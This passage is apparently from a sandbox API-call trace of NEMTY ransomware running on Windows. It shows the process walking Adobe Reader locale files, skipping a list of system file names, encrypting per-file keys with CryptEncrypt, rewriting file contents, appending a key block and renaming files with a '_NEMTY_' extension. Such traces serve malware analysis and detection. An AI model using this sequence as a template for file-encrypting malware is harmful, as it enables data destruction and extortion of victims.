pszString="474X6i9jAGFkTQiBPfVygEd55JEe+w5OMSzIdq4qaTcLPz8oljHFx4hdoMVTno1W\r\npfsk9toiOKHDLRdgQ9tBvMefIK6JuX8E6c9mDXwuSdCqWi4cc1rhgJYT3smlv3NO\r\nRVZzDvD8B03IGd8USZIQcPsLX5YaBWBDc3hv/pMMqdsFlqjeXQhOYg8+0gEF+j+a\r\ngafLV/5Qcc1NI/9BWOEDpYWcHIE8DpYYm9NM3aVnlSrKk7KQuMWmEVVFsu2RKcI7\r\nJyoZL/H1SArt+l6uKxcy8UOK8OxfUJF94XzxE1n7JhRpV+U2gLzK0szjZ2F/+t94\r\nJE1VMG/7BiiiNKt+ludsnQ==\r\n", pcchString=0x653e5dc) returned 1 [0186.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.575] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\PPKLITE.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ppklite.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.575] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=319488) returned 1 [0186.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0186.575] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.575] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0186.584] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.585] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0186.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.585] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=319488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e000 [0186.585] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.586] CloseHandle (hObject=0x2e8) returned 1 [0186.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.586] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\PPKLITE.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ppklite.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\PPKLITE.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ppklite.cht._nemty_kgobjgd_")) returned 1 [0186.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.587] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f876820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe0e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.CHT", cAlternateFileName="")) returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2=".") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="..") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="...") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="windows") returned -1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="rsa") returned -1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="NTDETECT.COM") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="ntldr") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="MSDOS.SYS") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="IO.SYS") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="boot.ini") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="boot.ini") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="ntuser.dat") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="desktop.ini") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="CONFIG.SYS") returned 1 [0186.587] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="RECYCLER") returned -1 [0186.588] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.588] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="bootmgr") returned 1 [0186.588] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="programdata") returned 1 [0186.588] lstrcmpiW (lpString1="RdLang32.CHT", lpString2="appdata") returned 1 [0186.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHT", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHT", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.588] Sleep (dwMilliseconds=0x5) [0186.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22dce310, dwHighDateTime=0x1d561e8)) [0186.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22dce310, dwHighDateTime=0x1d561e8)) [0186.589] GetLastError () returned 0x0 [0186.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.589] GetLastError () returned 0x0 [0186.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.590] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.590] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.590] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.590] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="2RgpuN+eMMDoSi+CleaAo+eOc49SAdvYnHXM18dKQPOl/J9MNNgWvBkh4WN7YQdQ\r\nXuQNV6jz/bXgShx1I5sZrD5OrEOh7r2zZEoSP3em58so/lCiL+dHb9skQUj8sQ3y\r\nzqxchx7yu2yogQe3NOPx9F4clDO85e7MtEBB7Fka35Y/T0kPQT1UTPqBIEygPd0o\r\nMRosfgKVTbUhFblAHlU5rf6b6kjwxGA40C9d5mC1rrYilblzJDgohtO/BbfIJixa\r\nJ2JsniZBlA/PhEgH505Ig+i0u1OM+emIzF9O7V2ZrzPDn+jCe6GCLvcd5/SJl83m\r\n+j9JWGuaxJDoi8dsyOErVg==\r\n", pcchString=0x653e5dc) returned 1 [0186.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.590] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\RdLang32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\rdlang32.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.590] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=921088) returned 1 [0186.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0186.590] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.591] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0186.600] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.600] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0186.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.600] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=921088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe0e00 [0186.600] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.602] CloseHandle (hObject=0x2e8) returned 1 [0186.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.602] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\RdLang32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\rdlang32.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\RdLang32.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\rdlang32.cht._nemty_kgobjgd_")) returned 1 [0186.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.603] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.CHT", cAlternateFileName="READOU~1.CHT")) returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2=".") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="..") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="...") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="windows") returned -1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="rsa") returned -1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="NTDETECT.COM") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="ntldr") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="MSDOS.SYS") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="IO.SYS") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="boot.ini") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="boot.ini") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="ntuser.dat") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="desktop.ini") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="CONFIG.SYS") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="RECYCLER") returned -1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="bootmgr") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="programdata") returned 1 [0186.603] lstrcmpiW (lpString1="ReadOutLoud.CHT", lpString2="appdata") returned 1 [0186.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHT", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0186.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHT", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CHT", lpUsedDefaultChar=0x0) returned 15 [0186.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHT", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0186.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHT", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CHT", lpUsedDefaultChar=0x0) returned 15 [0186.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHT", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0186.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHT", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CHT", lpUsedDefaultChar=0x0) returned 15 [0186.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHT", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0186.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHT", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CHT", lpUsedDefaultChar=0x0) returned 15 [0186.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.604] Sleep (dwMilliseconds=0x5) [0186.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22df4470, dwHighDateTime=0x1d561e8)) [0186.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22df4470, dwHighDateTime=0x1d561e8)) [0186.605] GetLastError () returned 0x0 [0186.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 